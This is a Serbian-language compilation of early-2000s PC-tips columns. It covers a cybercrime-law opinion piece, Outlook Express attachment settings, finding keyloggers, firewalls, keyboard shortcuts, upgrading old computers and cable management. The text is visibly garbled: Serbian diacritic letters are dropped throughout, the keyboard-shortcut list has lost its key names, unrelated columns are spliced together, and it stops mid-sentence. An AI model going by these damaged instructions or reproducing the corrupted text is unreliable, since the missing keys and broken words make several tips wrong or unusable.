na tim portovima i programi koje posle konfigurisanja ovih portova mozete iskljuciti jer ce ih NukeNabber zameniti.
Treba se cuvati nekih verzija ovog programa koje kruze Internetom, a zarazene su Back Orifice-om. NukeNabber bi
najsigurnije bilo preuzeti ili sa gornje adrese (sajt programera) ili sa Download.com-a (u polje "search" upisite
*nukenabber*).Velicina instalacionog fajla je oko 750 KB (verzija 2.9b, build 1224).
Problemi buduceg zakona
Zakon koji ce regulisati kriminal na Internetu ce biti donet ove godine!
To znaci da cete moci da podnesete krivicni postupak protiv hakera ili obicnog lamera koji vam je potrosio Internet
vreme, pristupio ili ostetio podatke na disku ili uhakovao sajt.
Pozivam vas da se ukljucite u otvorenu diskusiju o buducem krivicnom zakoniku, iznesete svoje misljenje ili predloge,
i na taj nacin pomognete ljudima koji ce doneti zakon, jer je misljenje obicnih korisnika itekako vazno.
Ali, pre toga bih vam izneo moje misljenje o buducem zakoniku!
Mislim da imamo problem pri donosenju buduceg zakonika o Internet kriminalu.
Prvo sto treba reci je da krivicnim zakonikom necemo uspeti sve da resimo.
Tako na primer, sve dok budu postojale stare analogne centrale na nasim prostorima, mi necemo uspeti da nadjemo sve
*hakere* koji koriste tudje Internet naloge. Hakere koji koriste stare analogne centrale je gotovo nemoguce identifiko-
DRAGAN MARKOVIC
vati, i taj problem je prisutan od kada je dosao Internet u nasu zemlju. Nadam se da ce Telekom Srbija uspeti da za
nekoliko godina zameni sve analogne centrale novim digitalnim centralama, tako da ce ovaj problem biti uspesno
resen.
Medjutim, buducim krivicnim zakonom necemo moci da osudimo napad koji ce dolaziti iz neke druge zemlje, koja
recimo jos nema zakon o Internetu. Napad na neki provajder u Srbiji nece naravno izvesti neki Argetinac ili Brazilac,
jer nece imati nikakve koristi od toga, ali zato neko iz Srbije moze preko nekog vec uhakovanog kompjutera iz Argetine
da hakuje nase provajdere.
Mi cemo tu biti bespomocni, jer nas zakon ne vazi u Argetini.
Neko ce sada reci da mozemo da pretrazimo kod svih nasih provajdera logove konekcija, i da nadjemo koji kompjuter
iz Srbije je razgovarao sa kompjuterom u Argetini, sa kojeg je inace izvrsen napad.
Ovo ce mozda dati rezultate, ali ako uzmemo u obzir da vecina nasih provajdera ne pravi logove konekcija, onda od
pronalazenja pravog hakera nema nista.
A i kada bi postojali logovi konekcija, hakeri bi napravili duplu masku, upali bi na neki brazilski kompjuter, preko koga
bi upali u neki argetinski kompjuter, i sa tog argetinskog kompjutera bi hakovali.
Ako bismo trazili koji kompjuter iz Srbije je razgovarao sa argetinskim kompjuterom, nista ne bi nasli, jer je pravi
haker razgovarao sa brazilskim kompjuterom.
A kada bismo zamolili brazilske provajdere da sprovedu istragu, isto nista ne bi dobili, jer oni mozda i nemaju logove
konekcija.
Dakle, cinjenica je da necemo moci sve hakere da pronadjemo.
Sada se se javlja jos jedan problem, a to je da hakeri mogu strpati nevine ljude u zatvor. Ako bi hakeri upali na neki
kompjuter u Srbiji, i sa njega hakovali nekog provajdera, nesrecni vlasnik kompjutera sa koga je izvrsen napad bi
mogao zavrsiti u zatvor. Ukoliko provajderi ne bi imali logove konekcija, ili ukoliko bi provajderi bili povrsni i analizirali samo dail-up log, mnogi nevini ljudi bi zavrsili iza resetaka.
Ovaj problem ce zadavati glavobolju provajderima ako vlasnik kompjutera sa koga je izvrsen napad izjavi da nije kriv
jer je neko drugi izvrsio napad sa njegovog kompjutera dok je ovaj bio na Internetu. Sada je pitanje sta ce u ovom
slucaju sud odluciti.
Ko je kriv, nevin covek koji je neznavsi za trojance startova igrica.exe ili neko ko je poslao igrica.exe? Posto svaki
haker moze ovo da kaze, sud ce verovatno odluciti da je kriv onaj sa cijeg kompjutera je izvrsen napad.
I tako, zbog nedostatka dokaza, kriv ce biti uvek onaj sa cijeg se kompjutera izvrsio napad, bez obzira da li je vlasnik
kompjutera stvarno izvrsio napad ili je i on samo zrtva hakerskog plana.
Ja licno ne vidim kako bi nevini covek mogao da dokaze da nije kriv. Jedino ako bi se gledalo sa kojim kompjuterima
je komunicirao njegov kompjuter, ali to je vec velika istraga koja na kraju mozda i ne bi dala rezultate jer bi haker
mogao da komunicira sa zrtvom na nekim portovima koje ICQ ili IRC koriste, tako da bi ta komunikjacija licila na
obican chat.
Nevini ljudi ce nesumljivo ponovo ispastati, samo je pitanje koliko ce takvih biti. Ja cu se potruditi da ovaj sajt bude
sto bogatiji informacijama i sto bolji, a vi se potrudite da za ovaj sajt i ovaj tekst cuju i drugi, jer... zajedno smo jaci
Sve se na kraju svodi na vecitu bitku izmedju dobrog i zla, u kojoj pobedjuje onaj ko je snalazljiviji. Ako uzmemo u
obzir da hakeri ne bi bili hakeri da nisu snalazljivi, shvaticemo da oni nikada nece biti pobedjeni, uvek ce izmisliti i
prokljuviti nesto novo.
Kao sto neko rece, kada se otvori neka prodavnica uvek se racuna da ce biti kradje, i tezi se da sanse za kradju budu sto
manje ali ne i nemoguce.
Ovo vazi za obe strane, i dobru i zlu. Niti ce zla strana uspeti da preovlada dobru a niti ce dobra uspeti potpuno da
DRAGAN MARKOVIC
potisne zlu.
Sta raditi?
Sigurno se ne treba predavati i odustati od zakona i zastite, jer bi time samo hakeri bili u prednosti.
Zato, treba dati jak otpor, kako na polju zastite, tako i po pravnoj osnovi.
Da li mozda treba ovim zakonom obevezati provajdere da pored dail-up logova prave i logove konekcija i da li treba
obavezati Internet kafice da traze licne karte?
DRAGAN MARKOVIC
U vreme poveanih pretnji po bezbednost na Mrei, treba preuzeti i instalirati bezbednosne zakrpe
im ih proizvoai softvera objave
U vreme poveanih pretnji po bezbednost na Mrei,
treba preuzimati i instalirati bezbednosne zakrpe im ih
proizvoai softvera objave. Na nesreu, te zakrpe esto
imaju sitne greke koje izazivaju neoekivane sporedne
efekte.
Servisni paket 1 za Internet Explorer 6, koji je Microsoft
objavio krajem prole godine, nije nikakav izuzetak. im
se ta zakrpa pojavila (a deo je i servisnog paketa 1 za
Windows XP) poela su da pristiu pisma italaca koji su
se alili da verzija Outlook Expressa uz IE 6 vie ne
otvara neke tipove datoteka prikljuenih uz poruke
Slika 1: Blokiranje prikljuenih datoteka u e-pote. Da bi zaustavio viruse koje se ire e-potom,
Outlook Expressu moete iskljuiti pomou
Microsoft je u Outlook Express dodao bezbednosnu
dijaloga options
funkciju koja spreava naivne korisnike da pokreu
rizine priloge elektronskih poruka.
Smatram da je nemogunost otvaranja priljuenih datoteka ogranienje s kojim svi moemo da
ivimo. Microsoft je isto ogranienje davno ugradio u Outlook 2000 i 2002 i to mi nikada nije smetalo.
Ne moram, niti elim, da primam e-potu koja sadri opasne izvrne i skript datoteke.
Veoma mi je drago to ni milioni poetnika ne mogu da otvaraju takve priloge. Ipak, ako zaista
morate da aljete i primate takve datoteke (spisak blokiranih tipova datoteka pronai ete na adresi
find.pcworld.com/33662), ovo ogranienje moete lako da zaobiete.
Da biste u iskljuili blokiranje prikljuenih datoteka u Outlook Expressu, odaberite Tools-Options,
otvorite karticu Security, ponitite potvrdu opcije Do not allow attachments to be saved or opened
that could potentially be a virus i pritisnite OK (SLIKA 1). Druga mogunost je da selektivno uklonite
neke tipove datoteka sa spiska za blokiranje: otvorite neki prozor sa Explorerom (na primer My Computer), odaberite Tools- Folder Options, otvorite karticu File Types, pronaite tip datoteka koji ne
elite da blokirate, pritisnite dugme Advanced, uklonite potvrdu Confirm open after download, pritisnite OK i naposletku Close.
Ako tip datoteka koji traite nije u spisku, pritisnite dugme New, upiite odgovarajui nastavak
imena datoteke, pritisnite OK i potom izmenite opciju Confirm open after download kao to je
maloas opisano. Imajte na umu da blokiranje nekih tipova datoteka, ukljuujui .exe i .zip, ne
moete da zaobiete. Outlook Express zanemaruje vrednosti parametara iz dijaloga File Types za
takve datoteke. Da biste otvarali priloge tih tipova, morate primeniti prvu opisanu tehniku (da potpuno iskljuite blokiranje svih tipova priloga), ili da zamolite poiljaoca da preimenuje datoteku tako
da ima neki drugi nastavak ili da nastavak izostavi.
koristite obian tekst u porukama
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Razne audio i video spravice koje ste povezali na raunar poveale su umu kablova. Ima reenjna
i za to
Siite u podzemlje.
Sakrijte ih na otvorenom.
Zavirite (ako smete) iza tipinog kunog raunara, i verovatno ete videti zmijsko gnezdo umrenih
i izmeanih kablova. U lanku "Osam saveta za kroenje kablova" (find.pcworld.com/30071) posavetovali smo vas kako da ih uredite i organizujete.
Lini raunari nisu jedine kune elektronske komponente povezane icama. Ono to se nekada
zavravalo s nekoliko stereo komponenata, parom zvunika i malim televizorom u dnevnoj sobi,
polako se pretvara u kuni bioskopski i multimedijalni centar s velikim televizorom, zvunicima za
okruujui zvuk, gomilom ureaja u zasebnim kuitima i (esto) raunarom. Neuredna gomila
kablova i moe da proe iza raunara u uglu radne ili spavae sobe, ali video i audio kablovi razbacani po dnevnom boravku sigurno nisu ugodan prizor za goste, pa ni za ostatak porodice.
DRAGAN MARKOVIC
Kablove moete ukopati u zidove i ugraditi zidne prikljuke - ili platiti profesionalcu da to uradi - ali
to moe biti komplikovano i skupo. Na sreu, postoji nekoliko naina da brzo i jeftino organizujete i
sakrijete kablove kunog bioskopa.
1 Skratite kablove. Nepotrebno dugaki kablovi su najvei krivci za nered. Razmestite komponente
i zvunike kako vam odgovara, pa izmerite potrebnu duinu kablova. Pri merenju budite paljivi i
ostavite malo vika da kablovi ne bi bili zategnuti kada ih poveete.
Prilikom kupovine video i audio kablova moete utedeti neto novca ako ih uzimate na metar.
Isecite zatim kablove potrebne duine, a s krajeva skinite izolaciju. Najee ete morati da kupite i
konektore i montirate ih na krajeve pomou namenske alatke.
2 Sakrijte dugake kablove. Ako u sobi u kojoj ugraujete audio i video kablove imate podnu oblogu
od zida do zida i standardne ivine lajsne, izmeu njih obino ima dovoljno mesta da ubacite i sakrijete kablove. Paljivo gurnite kablove ispod lajsne i to uinite prstima, tapiem za meanje boje,
lenjirom ili drvenom varjaom. Vodite rauna da pri tome ne otetite kablove ili ne okrnjite lajsnu.
Ako je lajsna u nivou s podom, najbolje je da nabavite ravan, trakasti kabl koji moete da sakrijete
ispod ivice prostirke. Moete nabaviti i voice za kablove, ili kablovode i privrstiti ih za lajsnu.
3 Siite u podzemlje. Ako ispod prostorije u kojoj montirate kuni bioskop postoji podrum ili
pristupana ostava, najlaki nain da sakrijete kablove jeste da probuite rupe u podu (skrivene iza
zvunika, komponenata ili nametaja) i provuete kablove ispod njega. Pazite gde buite i prvo proverite da li na putu ne stoje cevi i elektrini kablovi, da ih ne biste prekinuli.
4 Sakrijte ih na otvorenom. Kada nijedan od pomenutih postupaka ne moe da se primeni, kablove
ubacite u specijalne kanalice, razdvojene kablovode ili opletene voice. Premda e biti vidljivi, zbog
visokog tehnolokog izgleda manje e "bosti" oi.
5 Oznaite i grupiite kablove. Pre prikljuivanja bilo bi pametno da kablove oznaite pomou
selotejpa i markera koji po njemu moe da pie, ili pak posebnih vezica za kablove s ugraenim
oznakama. Naposletku upotrebite jeftine vezice za kablove i kratke komade spiralnih kanalica ili
razdvojenih kablovoda da biste grupisali i omotali kablove iza komponenata.
DRAGAN MARKOVIC
Uklonite iz raunara programe za nadzor i pijuniranje; dvostruki zatitini zidovi; odbijte zahteve za
potvrdu prijema e-pote.
Verovatno znate da korienje raunara moe biti
rizino po privatnost, naroito ako je on povezan na
Internet. Web lokacije prate vae navike pri
krstarenju preko reklama, kolaia i greaka u Web
itaima, a te informacije prodaju reklamnim agencijama. pijunski programi i oni za reklame instaliraju
se na raunar kriom uz alatke za razmenu datoteka i
druge besplatne programe. U naim lancima esto
smo se bavili takvim naruavanjima privatnosti.
DRAGAN MARKOVIC
ure koje sam pokrenuo u skrivenom reimu na probnom raunaru. Druga dva programa, PestPatrol
istoimene kompanije i Spy Sweeper kompanije Webroot, pokazali su se neto bolje, premda su imali
arolik uspeh. Nijedan od njih nije pronaao sve snimae tastature koje sam instalirao, a ako bi ih i
pronali retko bi uspevali da ih deaktiviraju ili uklone.
Premda su svi ti programi - i alatke za pijuniranje i one za borbu protiv njih - unapreeni od mog
testiranja, jedno je zasigurno i dalje izvesno: to vie alatki za borbu protiv pijunskih programa
upotrebite, vee su anse da otkrijete pritajenog snimaa tastature. Svako ko se povezuje na Internet trebalo bi redovno da koristi i Ad-aware i Spybot. Radi vee bezbednosti, arsenalu za
kontrapijunau dodajte i PestPatrol i SpySweeper, ije probne verzije moete besplatno preuzeti.
Ako sumnjate da je instaliran program za praenje tastature, pokuajte da ga izvuete iz prikrivenog
reima i da ga uklonite. Veina programa moe se probuditi iz skrivenog reima pritiskom na
posebnu kombinaciju tastera - na primer, za Spector Pro 4 to je Ctrl-Alt-Shift-S, a poziv za buenje
programa XPCSpy je Ctrl-Alt-X. ak i ako je osoba koja je instalirala program za pijuniranje promenila kombinaciju, uz malo upornosti i isprobavanja moete i to otkriti - samo pre toga zatvorite sve
aplikacije (ukljuujui i one pokrenute u sistemskoj paleti) da biste anse za sluajno pokretanje
neeljene komande u Windowsu ili nekoj drugoj aplikaciji sveli na minimum. Kada pozatvarate sve
programe, pritisnite Ctrl-Alt, Ctrl-Shift-Alt ili neku slinu kombinaciju i potom uz nju redom pritiskajte i ostale tastere.
Ponekad postoje i drugi naini za otkrivanje skrivenog pijunskog programa. Jedan sam pronaao
na Web strani kompanije X Software: da biste XPCSpy probudili iz skrivenog reima odaberite StartRun, upiite rx u polje 'Open' i pritisnite OK.
Ako u sistemu otkrijete snima tastature, moda neeti ni moi da pristupite njegovim parametrima,
jer je veina tih programa zatiena lozinkom, ali ete barem znati da vas neko pijunira. Premda vas
moe gristi savest zbog onog to je snima tastature registrovao, oseaj da ste izdani i da vas neko
pijunira verovatno je jo gori. Meutim, poslodavci po zakonu smeju da instaliraju softver za
praenje na kompanijskim raunarima, a veina e misliti i da to radi s punim moralnim pravom. Njegovo deaktiviranje ili ak samo pominjanje njegovog postojanja moe i da ne bude u vaem
najboljem interesu. Pre nego to bilo ta preduzmete, prouite svoja prava, a ponite od stranice
Employee Monitoring ("Praenje zaposlenih") kompanije Privacy Rights Clearinghouse
(find.pcworld.com/40214) i stranice Workplace Privacy ("Privatnost na radnom mestu") organizacije
Electronic Privacy Information Center (find.pcworld.com/40217; SLIKA 2).
Ukoliko raunar pripada vama ili nekom lanu domainstva, situacija je jo delikatnija. Deaktiviranje
softvera moe upozoriti osobu koja ga je instalirala da ste joj na tragu. Ako pri pokuaju da se oslobodite pijunskog softvera otkrijete da je zatien lozinkom (usled ega ne dozvoljava uklanjanje),
moete pokuati da obriete njegove programske datoteke, pod uslovom da otkrijete kako se zovu i
gde se nalaze u raunaru. PestPatrol odrava ogromnu listu snimaa tastatura - i komercijalnih programa i onih koje su napisali zlonamerni hakeri (find.pcworld.com/40223). Na toj stranici saznaete
kako da runo deaktivirate i obriete razne programe za nadgledanje (SLIKA 3).
Ukoliko ste isprobali razne taktike, ali nikako ne moete da uklonite snima tastature iz svog
raunara, probajte da stupite u vezu s proizvoaem softvera. Kompanija TrueActive tvrdi da e vam
pomoi u uklanjanju njihovog programa za praenje WinWhatWhere ako se saglasi s vama da je program neprikladno instaliran. Ako nita ne uspe, ponite iznova: napravite kopiju svih podataka,
reformatirajte vrsti disk i potom ponovo instalirajte operativni sistem i aplikacije.
Da biste spreili instaliranje softvera za nadgledanje izaberite operativni sistem koji koristi jaku
zatitu prilikom prijavljivanja, kao to su Windows 2000, Windows XP ili Linux. (Windows 98 i Me
DRAGAN MARKOVIC
imaju mnogo manje restriktivne protokole za prijavljivanje na sistem.) Obavezno odaberite lozinke
koje se teko pogaaju (drugaije od onih koje ste ranije koristili ako ste upravo deinstalirali neki
program za nadgledanje).
PONOVO O ZATITNIM ZIDOVIMA
Nakon saveta iz prolog decembra o instaliranju i konfigurisanju zatitnih zidova
(find.pcworld.com/40220) dobio sam hrpu pisama. Najee pitanje je bilo: "Treba li da koristim i
hardverski zatitni zid (ugraen u usmeriva ili mreni prolaz) i softverski zatitni zid koji radi na
mom raunaru?"
Odgovor nisam izriito naveo u prethodnom lanku, a on je potvrdan! Hardverski usmeriva e
uiniti ono to radi najbolje - maskirae IP adrese raunara u lokalnoj mrei od spoljanjeg sveta dok e softverski zatitni zid obezbediti uslugu koju hardverski zid ne moe (lako) da ispuni,
blokirajui zlonamerne aplikacije na raunaru i ne dozvoljavajui im da uspostave izlaznu vezu sa
udaljenim serverima.
ODBIJTE ZAHTEVE ZA POTVRDU PRIJEMA E-POTE
U POSLEDNJE VREME
Dobijam sve vie poruka e-pote koje trae dozvolu da poiljaocu vrate potvrdu o prijemu. Povrh
stresa koji izaziva potansko sandue puno nepregledanih poruka, samo mi jo treba da poiljaoci
znaju da ih ignoriem. Zbog toga podrazumevano odbijam sve zahteve za potvrdu prijema. Da biste
i vi to uinili u Outlooku 2002 i 2003, odaberite Tools-Options, pritisnite E-Mail Options (na kartici
Preferences), potom i Tracking Options. Na dnu dijaloga oznaite opciju Never send a response. U
Outlook Expressu odaberite Tools-Options- Receipts, potvrdite Never send a read receipt. U programu Mozilla/Netscape Mail odaberite Edit-Preferences, u odeljku 'Mail & Newsgroups' prozora
Category oznaite Return Receipts, odaberite Never send a return receipt.
Zbogom praenju tastature
HVATANJE PROGRAMA za prismotru nije osnovni zadatak antipijunskih alatki, ali sve one e otkriti
barem neke.
Lavasoft Ad-aware 6.181: besplatna za linu i nekomercijalnu upotrebu, 1,7 MB,
find.pcworld.com/34058
PepiMK Spybot Search & Destroy 1.2: besplatna (donacije se prihvataju), 3,5 MB,
find.pcworld.com/32678
PestPatrol Inc. PestPatrol 4.2: 40 USD (besplatna probna verzija otkriva ali ne uklanja pijunske programe), 6,1 MB, find.pcworld.com/35420
Webroot Spy Sweeper 2.2: 30 USD (jednogodinja podrka i pretplata na auriranje; besplatna verzija obezbeuje samo jedno auriranje), 2,5 MB, find. pcworld.com/
DRAGAN MARKOVIC
Odgovori na pitanja
Vratite brzi pregled .jpg slika ugraen u Windows Podesite podatke za automatsko popunjavanje u
IE Jednostavna dodela slovnih oznaka diskovima
KOJE Windowsove preice sa tastature koristite?
Obino se misli da je Windows okruenje potpuno
okrenuto radu s miem, ali esto je odreene zadatke
lake obaviti pomou tastature.
Ponimo kratakim opisom dva tastera koji se nalaze
na Windows tastaturama: taster je onaj na kome je
nacrtan Windowsov logotip, a na tasteru nalazi se
sliica pokazivaa mia i menija. Veliki broj tastatura
ima po dva tastera i , pri emu neke kombinacije pritisaka rade samo sa po jednim od njih.
Slika 1: Ako Windows Explorer ne prikazuje .jpg
datoteke, problem moete reiti iz komandne linije
DRAGAN MARKOVIC
Kretanje kroz datoteke: Pritisnite -E da biste otvorili Windows Explorer, a potom pritisnite za
povratak u roditeljski direktorijum, ako elite da preimenujete izabranu datoteku ili direktorijum, a za
pretraivanje.
Preice za rad s datotekama i dokumentima: Naredne preice nisu deo Windowsa, ali ih podrava
mnotvo programa.
-S snima tekui dokument na vrsti disk. Naviknite se da esto pritiskate ovu kombinaciju.
-O otvara novi dokument.
-Z i - slue za ponitavanje poslednje operacije.
-Y ponitava opozivanje poslednje komande (odnosno ponovo obavlja ponitenu operaciju).
-A oznaava sve u tekuem prozoru, na primer sve datoteke u direktorijumu ili ceo dokument.
-X iseca oznaene objekte i prebacuje ih na Clipboard.
-C kopira izabrane objekte na Clipboard, ali ih ne brie.
-V umee sadraj Clipboarda u aktivan program ili na radnu povrinu.
-I ukljuuje ili iskljuuje kurziv.
-B ukljuuje ili iskljuuje polucrna slova.
-U ukljuuje ili iskljuuje podvlaenje.
-F i pokreu alatku za pretraivanje u programu.
- pomera kursor na poetak otvorene datoteke ili dokumenta.
-End pomera kursor na kraj otovorene datoteke ili dokumenta.
-, --, -, i - slue za pomeranje s kartice na karticu u dijalozima.
Microsoft Word 2000 i 2002:
- aktivira podrazumevano formatiranje (stil Normal) za nastavak unoenja teksta ili za oznaeni deo.
-0 (nula na osnovnom delu tastarure) dodaje ili uklanja jedan red razmaka iznad tekueg pasusa (ili
iznad oznaenih pasusa).
-1 (na osnovnom delu tastature) primenjuje jednostruki razmak na tekui pasus ili oznaene pasuse.
-2 (na osnovnom delu tastature) primenjuje dvostruki razmak na tekui pasus ili oznaene pasuse.
-5 (na osnovnom delu tastature) primenjuje razmak od 1,5 redova na tekui pasus ili oznaene
pasuse.
-5 (na numerikom delu tastature) oznaava celu tekuu tabelu.
--D ubacuje datum koji se automatski osveava.
--T ubacuje vreme koje se automatski osveava.
- pokree renik sinonima.
Excel 2000 i 2002:
- oznaava tekuu kolonu.
- oznaava tekui red.
- ubacuje datum.
- ubacuje vreme.
- u tekuu eliju upisuje kopiju elije iznad (bez formatiranja).
-1 otvara dijalog Format Cells.
- i - pomeraju vas izmeu radnih listova.
- umesto pritiska na upisuje u oznaene elije kopiju sadraja aktivne elije.
Internet Explorer:
-O otvara dijalog Open.
-N otvara novi prozor itaa i upuuje ga na zadatu matinu stranicu (engl. home page).
-D oznaava polje Address.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Letter and Path u Windowsu 2000). U padajuem meniju Assign the following drive letter (Assign
a drive letter u Windowsu 2000) izaberite novu slovnu oznaku, pritisnite OK i potom Yes
DRAGAN MARKOVIC
Produite ivotni vek starog raunara podeavanjem sistema i dodacima; sluajte MP3 datoteke na
radio-prijemniku u kolima; uvajte CAB datoteke pri ruci
Postoji mnogo dobrih razloga za kupovinu novog raunara. S
druge strane, postoje i naini da se stari raunar unapredi tako
da po performansama na odreenom polju dostigne bilo koji
novi model za samo deli njegove cene. Ovoga meseca razmatrao sam uobiajene razloge za kupovinu novog raunara i
uporedio (u sluaju valjanih razloga) ta se dobija nabavkom
novog sistema a ta unapreenjem. U sluaju da se vie od
etiri razloga odnose na vas, moda vam je zaista potreban
nov raunar.
Slika 1: Ubrzajte stari procesor pomou
adaptera PL-P4/N kompanije PowerLeap.
DRAGAN MARKOVIC
Ukoliko je na raunaru neki od prvih Pentium 4 procesora s leitem Socket 423 (prodavani su 2001.
godine), adapter PL-P4/N kompanije PowerLeap (50 USD) omoguie da u staro leite ubacite nove
Pentium 4 procesore s Northwood jezgrom (SLIKA 1). Performanse moete znatno poboljati usled
vee brzine tih procesora (do 2,4 GHz) i vee ke memorije drugog nivoa. Kompanija PowerLeap
nudi adapter i procesor na 2,6 GHz za 290 USD. Da biste proverili kakve su mogunosti nadogradnje,
pokrenite alatku InSpecs na Web lokaciji te kompanije. (InSpecs nee raditi ako je Web ita konfigurisan tako da blokira ActiveX kontrole.)
Potrebna mi je bolja grafika: To bi bar trebalo da bude lako izvodljivo -samo nabavite novu grafiku
karticu, zar ne? Nekim sistemima, meutim, neete moi da dodate novu karticu. Na jeftinijim
raunarima grafiki ip integrisan je na matinoj ploi umesto da bude na zasebnoj kartici u AGP
leitu. U pojedinim raunarima s integrisanom grafikom postoji zasebna grafika memorija, dok se
u drugima za te namene odvaja deo sistemske memorije. U svakom sluaju, grafike performanse
takvih sistema su veoma loe.
Ako je u raunaru grafika integrisana i postoji prazno AGP leite, grafiku karticu najverovatnije
moete unaprediti bez veih problema, premda ete moda morati da deaktivirate ugraeni grafiki
ip pomou programa za podeavanje BIOS-a. Ako nemate na raspolaganju prazno AGP leite, ali
imate slobodno PCI leite, moda ete moi da dodate PCI grafiku karticu.
Ukoliko se grafika oslanja na sistemsku memoriju, moda ete je malo ubrzati ako za grafike
zadatke dodelite vie memorije (ime, naravno, smanjujete slobodnu memoriju za ostale potrebe).
Potraite u programu za podeavanje BIOS-a opcije u vezi s grafikom.
Moete isprobati i besplatno unapreenje - prelaskom na upravljake programe iz paketa Direct X
9.0b trebalo bi da donekle poboljate grafiku. Najnovije izdanje tih upravljakih programa potraite
na lokaciji find.pcworld.com/40244. Ukoliko niste sigurni koju verziju DirectX paketa imate pritisnite
Start-Run, upiite dxdiag i pritisnite Enter (SLIKA 2).
Treba da se poveem na spoljne vrste diskove i video kamere: Svi novi raunari imaju USB 2.0
prikljuke za vezu s veoma brzim periferijama, a mnogi za te namene imaju ugraene i FireWire
prikljuke. Ako stari raunar ima prazno PCI leite, USB 2.0 i FireWire prikljuke moete dodati
pomou kombinovanog adaptera kao to je Belkinova kartica Hi-Speed USB 2.0 and FireWire 6-Port
PCI Card, koja staje 70 USD. Adapteri koji podravaju iskljuivo USB 2.0 ili samo FireWire kotaju
desetak dolara manje. Dodatne informacije o Belkinovoj kombinovanoj kartici potraite na adresi
find.pcworld.com/40247.
Potreban mi je prenosivi raunar s beinom vezom: Ako se stalno seljakate s jednog mesta koje
podrava beinu mreu na drugo, koristie vam prenosivi raunar s ugraenom podrkom za
beino umreavanje. Tano je da PC Card adapter kota znatno manje od novog prenosivog
raunara, ali ugraena podrka za beino umreavanje je mnogo pogodnija jer ne morate da nosite
sa sobom PC Card karticu i antenu, koje izmeu ostalog moete i izgubiti ili otetiti. Pored toga,
prenosivi raunar s antenom ugraenom u ekran, na primer Gateway 450XL (naa preporuka,
find.pcworld.com/40250), ima mnogo bolji prijem od onih koje koriste PC Card adapter za beinu
vezu. Dodatni savet: Ako planirate da se beino umreavate a koristite stariju verziju Windowsa,
preite na Windows XP jer on ima unapreenu podrku za beine mree.
Potrebno mi je vie prostora za skladitenje: vrsti disk od 80 GB moete kupiti i ugraditi u stari
raunar za manje od 100 USD. vrsti diskovi bi trebalo da budu na jednom IDE kanalu, a optiki
ureaji na drugom. Ako nemate slobodnih IDE konektora za povezivanje novog diska, u prazno PCI
leite moete ugraditi EIDE adapter koji kota 40 USD. U sluaju da imate slobodno mesto na
kanalu s optikim ureajem, investirajte u DVD pisa (oko 150 USD).
DRAGAN MARKOVIC
Neophodan mi je Windows XP: Prelazak s Windowsa 9x na XP moe biti vrlo muan, i to je prihvatljiv
razlog za kupovinu novog raunara. Ipak, ista instalacija Windowsa XP - pri emu morate da reinstalirate i sve aplikacije - moe da produi ivotni vek raunaru za samo 200 USD. Pre nego to se u
to upustite, proverite postoje li upravljaki programi za sve periferijske ureaje koje imate. Detaljna
uputstva za prelazak na Windows XP proitajte na adresi find.pcworld.com/40256.
PUTAJTE MP3 DATOTEKE U KOLIMA
VEI DEO muzike kolekcije pretvorio sam u MP3 datoteke i voleo bih da ih sluam u kolima. Ranije
sam na putu kompakt diskove sluao preko adaptera kojim sam prikljuivao prenosivi CD plejer na
stari radio-kasetofon u kolima. Postoji li neto slino i za MP3?
Ne znam da postoje bilo kakvi adapteri za povezivanje MP3 plejera na CD plejer za automobil, ali ako
u kolima imate FM radio, moete upotrebiti adapter koji MP3 plejer pretvara u malu radio-stanicu. Pri
tome zaista mislim na malu stanicu: predajnik je taman toliko jak da signal moe emitovati samo do
radija u kolima ili oblinjeg FM prijemnika.
Isprobao sam dva modela pre izvesnog vremena: Belkinov TuneCast (30 USD,
find.pcworld.com/40259) i 400 FM Wireless Music Adapter kompanije Irock (30 USD,
find.pcworld.com/40262, SLIKA 3). Adapteri su veliine omanjeg mobilnog telefona i imaju kratak
kabl koji se prikljuuje umesto slualica na plejeru. Poto se signal prenosi beino, moete ih
staviti bilo gde, pod uslovom da su na nekoliko metara od antene radio-aparata. Kada na radiju dobijete ist signal, oba modela proizvode zadovoljavajui zvuk FM kvaliteta. ist signal u kontinuitetu
dobijao sam, meutim, samo u oblastima gde nema previe radio-stanica. U urbanim oblastima,
signal se sve vreme meao s lokalnim radio-stanicama.
Promena frekvencije emitovanja je pomagala - oba modela imaju po etiri konfiguracije - ali stalno
podeavanje, barem meni, smanjuje udobnost korienja. (Belkinov novi prozivod TuneCast II, koji
kota 50 USD, pretrauje sve FM frekvencije umesto samo etiri.)
INSTALACIONE DATOTEKE
INSTALIRANJE HARDVERA moete ubrzati ako upravljake programe i sistemske datoteke prebacite s Windowsovog instalacionog CD-a na vrsti disk. Iskopirajte sve CAB datoteke sa CD-a na
vrsti disk, a potom pokrenite program BanishCD kompanije AnalogX. Ova besplatna alatka
konfigurie Windows tako da prvo pregleda vrsti disk kada mu zatreba neka datoteka sa Windowsovog CD-a. Alatku moete preuzeti s lokacije find.pcworld.com/40265 ili s naeg diska.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Kada aktivirate polje Address, moete se kretati kroz spisak nekoliko poslednjih naredbi pomou
tastera sa strelicama nagore i nadole.
Lako pokretanje: Drugi podesniji nain (premda ne uvek vidljiv) za upisivanje naredbi i Web adresa
jeste Windowsov dijalog Run. Moete ga prikazati tako to odaberete Start-Run, ili ako imate Windows tastaturu, pritiskom na Windows-R.
Ukoliko biste dijalog Run radije pokretali preko palete Quick Launch ili ikonicom na radnoj povrini,
ili pak imate mia s programabilnim tasterima za pokretanje aplikacija, moete napraviti jednostavan
skript na jeziku JavaScript za otvaranje dijaloga Run. Otvorite Notepad i upiite red (new
ActiveXObject("Shell.Application")).FileRun(), odaberite File-Save As, pronaite direktorijum u
kome elite da sauvate datoteku, pa upiite njeno ime i dodajte nastavak .js - na primer run.js. Da
biste napravili preicu do ove datoteke na radnoj povrini ili na paleti Quick Launch, desnim tasterom prevucite datoteku na odredite i odaberite Create Shortcut(s) Here. Pritisnite jednom ili dva
puta ikonicu (ili originalnu skript datoteku) da biste otvorili dijalog Run (SLIKA 3).
Ako su JavaScript datoteke povezane s programom za obradu teksta, skript nee biti pokrenut. Da
biste tu prepreku otklonili, napravite preicu do .js datoteke kao to je maloas objanjeno, pritisnite
je desnim tasterom i odaberite Properties. Na kartici Shortcut pritisnite poetak polja Target, upiite
wscript.exe i jedan razmak, pa pritisnite OK.
Pokretanje preko tastature: Polje Address i dijalog Run omoguavaju da otvorite bilo koji direktorijum, datoteku, aplikaciju, Web adresu (URL), preicu ili datoteku za paketnu obradu upisivanjem
